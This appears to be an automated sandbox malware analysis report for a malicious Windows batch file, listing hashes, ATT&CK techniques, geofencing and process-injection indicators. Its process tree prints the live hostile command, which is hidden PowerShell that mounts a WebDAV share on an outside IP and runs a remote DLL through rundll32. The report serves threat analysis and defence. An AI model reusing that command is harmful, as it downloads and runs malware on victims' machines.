bb58d6217b5098bffcf750f1d6c51d6cf4d0d10de4df89e3e88fdb813b87f266

Analysis

max time kernel
120s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 06:05

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General

Target

1969732479259286114.bat
Size

2KB
MD5

727e7529433f7aa759bc70a3a19526f5
SHA1

c9d29f4e470df3b65cd73d8dde52c4967b9a2ea9
SHA256

bb58d6217b5098bffcf750f1d6c51d6cf4d0d10de4df89e3e88fdb813b87f266
SHA512

b2873627be5e0dc32eab95978ee0590cf245ac25f4ac80b6a30e75e5c395bb23aaa9212ea0e79becf8d7363cc1dfa8ca1cde126320060126d77fe19235f4325f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3228	wordpad.exe
3228	wordpad.exe
3228	wordpad.exe
3228	wordpad.exe
3228	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 3228	2016	cmd.exe	84
PID 2016 wrote to memory of 3228	2016	cmd.exe	84
PID 2016 wrote to memory of 2044	2016	cmd.exe	86
PID 2016 wrote to memory of 2044	2016	cmd.exe	86
PID 2044 wrote to memory of 2604	2044	powershell.exe	88
PID 2044 wrote to memory of 2604	2044	powershell.exe	88
PID 2044 wrote to memory of 3068	2044	powershell.exe	89
PID 2044 wrote to memory of 3068	2044	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1969732479259286114.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2811.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2604
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2811.dll,entry
    3⤵
    PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_omzsi0sv.aj4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2044-9-0x000001B8ADAA0000-0x000001B8ADAC2000-memory.dmp

Filesize
136KB

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